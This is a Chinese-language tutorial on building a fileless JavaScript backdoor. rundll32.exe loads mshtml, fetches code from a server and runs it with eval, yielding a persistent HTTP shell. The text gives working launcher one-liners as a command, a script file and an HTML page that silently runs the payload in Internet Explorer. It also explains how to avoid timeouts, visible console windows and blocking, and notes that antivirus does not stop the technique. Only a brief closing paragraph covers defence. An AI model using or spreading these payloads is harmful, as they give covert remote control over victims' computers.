本文介绍一个javascript脚本后门的实现:客户端在命令行中利用rundll32.exe加载JavaScript代码,代码运行后会反弹一个Http Shell来同服务端连接,而且rundll32.exe进程会在后台一直存活,以保证持续连接。整个过程不需要写入文件,隐蔽性非常高。
一、测试环境
Server: OS - Win7 x64 IP - 192.168.1.2 Client: OS - Win7 x64 IP - 同一网段
服务端以管理员权限打开CMD,执行以下命令:
powershell -ExecutionPolicy RemoteSigned -file <filepath>
其中,filepath是脚本文件JSRat.ps1的全路径,实际测试需要将IP修改为当前主机IP,文件下载地址:JSRat.ps1
客户端通过以下任何一种方式加载JavaScript脚本,实际测试需要将IP修改为服务端IP。
- 命令行
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.1.2/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
- 脚本文件
h = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); h.Open("GET", "http://192.168.1.2/connect", false); try { h.Send(); B = h.ResponseText; eval(B); } catch(e) { new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe", 0, true); }
- 网页
<!doctype html public "-//w3c//dtd html 4.0 transitional//en"> <html> <head> <title> test </title> <meta name="generator" content="editplus"> <meta name="author" content=""> <meta name="keywords" content=""> <meta name="description" content=""> <script language="javascript" type="text/javascript"> var browserType = navigator.appName; if(browserType.indexOf("I")==-1 || browserType.indexOf("E")==-1) { alert("Please open this page with your IE Browser."); window.close(); } rat = "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://192.168.1.2/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}"; new ActiveXObject("WScript.Shell").Run(rat, 0, true); </script> </head> <body></body> </html>
上面的html代码已经上传到Github,如果你的服务端IP地址为192.168.1.2,则客户端可以直接在IE浏览器中访问httpshell.html进行测试。由于使用了ActiveX控件,所以这种方法一般只在IE浏览器有效,而且需要对IE浏览器进行设置:Internet选项 -> 安全 -> Internet -> 自定义级别 -> ActiveX控件和插件 -> “对未标记为可安全执行脚本的ActiveX控件初始化并执行脚本”这一项设置为“启用”或“提示”。否则会导致“JScript运行时错误: Automation 服务器不能创建对象”(可能没有任何提示,但是可以通过调试发现该错误)。
如果你打开的是本地的html文件,IE浏览器设置:Internet选项 -> 安全 -> 本地Internet -> 自定义级别 -> ActiveX控件和插件 -> “对未标记为可安全执行脚本的ActiveX控件初始化并执行脚本”:“启用”或“提示”。
如果你的html页面为可信站点,则IE浏览器设置:Internet选项 -> 安全 -> 可信站点 -> 自定义级别 -> ActiveX控件和插件 -> “对未标记为可安全执行脚本的ActiveX控件初始化并执行脚本”:“启用”或“提示”。
二、问题及解决
1. 连接超时
在成功返回shell后,如果在后台等待一段时间无操作,Client就会弹出超时连接的对话框。
我们来看看微软如何介绍使用JavaScript来实现WinHttpRequest:
// Instantiate a WinHttpRequest object. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); // Set time-outs. If time-outs are set, they must // be set before open. WinHttpReq.SetTimeouts(30000, 30000, 30000, 30000); // Initialize an HTTP request. WinHttpReq.Open("GET", "http://www.microsoft.com", false); // Send the HTTP request. WinHttpReq.Send();
其中,setTimeout用来设置http的超时时间,全为0代表无限期。因此,要解决连接超时问题,可在相应位置添加代码:
h.SetTimeouts(0, 0, 0, 0);
相关介绍:https://msdn.microsoft.com/en-us/library/windows/desktop/aa384061(v=vs.85).aspx
2. 进程残留
如果Server退出,Client还会存在rundll32.exe进程。解决办法是,在Server退出之前,使用taskkill来结束Client的进程:
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe")
3. 阻塞与弹黑框
WScript.Shell对象exec和run都可以用来执行命令或程序,exec方法返回一个对象,可以获得控制台输出信息和错误信息,而run方法返回一个整数,即0或1表示成功和失败。
exec方法的硬伤:如果是立即回显的cmd命令,会有黑框一闪而过;如果是systeminfo这种需要等待的cmd命令,黑框会一直停留等到执行完毕才退出;如果是calc.exe等一些不会自动关闭的程序,server端会发生阻塞,直到Client端关闭calc.exe进程才会恢复正常。
我们来看看run方法的定义:
object.Run(strCommand, [intWindowStyle], [bWaitOnReturn]) object - WshShell object. strCommand - Must. String value indicating the command line you want to run. You must include any parameters you want to pass to the executable file. intWindowStyle - Optional. Integer value indicating the appearance of the program's window. Note that not all programs make use of this information. bWaitOnReturn - Optional. Boolean value indicating whether the script should wait for the program to finish executing before continuing to the next statement in your script. If set to true, script execution halts until the program finishes, and Run returns any error code returned by the program. If set to false (the default), the Run method returns immediately after starting the program, automatically returning 0 (not to be interpreted as an error code).
run方法可以通过第2个参数来解决黑框问题,但是并非对所有命令有效,像systeminfo这种需要等待的命令是无法隐藏窗口的。而第三个参数可以完全解决阻塞问题,但是会产生另一个难题,就是无法知道执行结果。
要完全解决以上问题,需要有一个折衷,具体思路是对输入的内容做判断:对于需要手动关闭的命令或程序,直接使用run方法执行,不等待执行结果;而对于会自动关闭的命令或程序,使用run方法打开一个cmd执行,并将输出重定向至文件,等待执行结束,从文件中读取执行结果。
相关介绍:https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx
4. 中文乱码
无法正常显示中文;如果文件内容含有中文,上传下载文件会失败;命令中的中文路径也会导致命令执行失败。尚无解决思路。
三、防御方法
由于是通过rundll.exe调用的代码,所以杀毒软件会放行,不会拦截。但是通信协议使用HTTP,通过防火墙拦截流量即可发现其中的攻击行为。
结束
参考文章:http://drops.wooyun.org/tips/11764
注:本文仅用作学习交流,请勿非法滥用。